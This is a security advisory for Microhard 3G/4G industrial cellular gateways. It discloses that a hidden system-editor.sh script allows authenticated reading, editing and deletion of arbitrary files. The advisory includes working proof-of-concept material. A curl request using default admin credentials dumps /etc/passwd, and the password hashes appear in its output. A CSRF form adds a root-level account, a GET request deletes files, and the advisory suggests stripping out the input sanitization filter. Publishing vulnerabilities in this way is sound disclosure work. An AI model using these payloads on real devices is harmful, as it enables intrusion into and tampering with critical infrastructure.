Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Arbitrary File Attacks


Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
                  IPn3Gb 2.2.0 build 2160
                  IPn4Gb 1.1.6 build 1184-14
                  IPn4Gb 1.1.0 Rev 2 build 1090-2
                  IPn4Gb 1.1.0 Rev 2 build 1086
                  Bullet-3G 1.2.0 Rev A build 1032
                  VIP4Gb 1.1.6 build 1204
                  VIP4G 1.1.6 Rev 3.0 build 1184-14
                  VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
                  IPn3Gii / Bullet-3G 1.2.0 build 1076
                  IPn4Gii / Bullet-LTE 1.2.0 build 1078
                  BulletPlus 1.3.0 build 1036
                  Dragon-LTE 1.1.0 build 1036

Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!

The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.

The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!

The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!

The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.

Desc: Due to the hidden and undocumented File Editor (Filesystem Browser) shell script
'system-editor.sh' an attacker can leverage this issue to read, modify or delete arbitrary
files on the system. Input passed thru the 'path' and 'savefile', 'edit' and 'delfile' GET
and POST parameters is not properly sanitized before being used to modify files. This can
be exploited by an authenticated attacker to read or modify arbitrary files on the affected
system.

Tested on: httpd-ssl-1.0.0
           Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5485
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5485.php


13.03.2018

--


Download (script):
------------------
# curl "http://192.168.1.1/cgi-bin/webif/download.sh?script=/cgi-bin/webif/system-editor.sh&path=/etc&savefile=passwd" -H "Authorization: Basic YWRtaW46YWRtaW4="
root:$1$fwjr710d$lOBXhRTmQk/rLLJY5sitO/:0:0:root:/:/bin/ash
admin:$1$0VKXa1iD$.Jw20V3iH3kx6VSLjsFZP.:0:0:admin:/:/etc/m_cli/m_cli.sh
upgrade:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1:500:500:ftpupgrade:/upgrade/upgrade:/bin/false
at:$1$rKAtMKeY$RSLlzCp8LzEENRaBk615o/:0:0:admin:/:/bin/atUI
nobody:*:65534:65534:nobody:/var:/bin/false
testlab:$1$.ezacuj4$s.hoiWAaLH7G./vHcfXku.:0:0:Linux User,,,:/:/etc/testlab.sh
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0:0:0:Linux User,,,:/:/etc/m_cli/m_cli.sh
testingus:$1$S9c8yiFq$P96OckXNQMhpKjFoRx1sL.:1000:1000:Linux User,,,:/home/testingus:/bin/false
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh


Edit (edit):
------------
CSRF add roOt:rewt to htpasswd:

<html>
  <body>
    <form action="http://192.168.1.1/cgi-bin/webif/system-editor.sh" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="path" value="/etc" />
      <input type="hidden" name="edit" value="htpasswd" />
      <input type="hidden" name="filecontent" value="root:$1$fwjr710d$lOBXhRTmQk/rLLJY5sitO/
admin:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1
at:$1$rKAtMKeY$RSLlzCp8LzEENRaBk615o/
testlab:$1$.ezacuj4$s.hoiWAaLH7G./vHcfXku.
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0" />
      <input type="hidden" name="save" value="Â Save ChangesÂ " />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Delete (delfile):
-----------------

GET /cgi-bin/webif/system-editor.sh?path=/www&delfile=pwn.txt HTTP/1.1


Or edit and remove sanitization:
File: /usr/lib/webif/sanitize.awk

// { _str=$0;
	gsub(/ /,"",_str)
	gsub(/\|/,"",_str)
	gsub(/\\/,"",_str)
	gsub(/&/,"",_str)
	gsub(/\^/,"",_str)
	gsub(/\$/,"",_str)
	gsub(/'/,"",_str)
	gsub(/"/,"",_str)
	gsub(/`/,"",_str)
	gsub(/\{/,"",_str)
	gsub(/\}/,"",_str)
	gsub(/\(/,"",_str)
	gsub(/\)/,"",_str)
	gsub(/;/,"",_str)
	print _str
}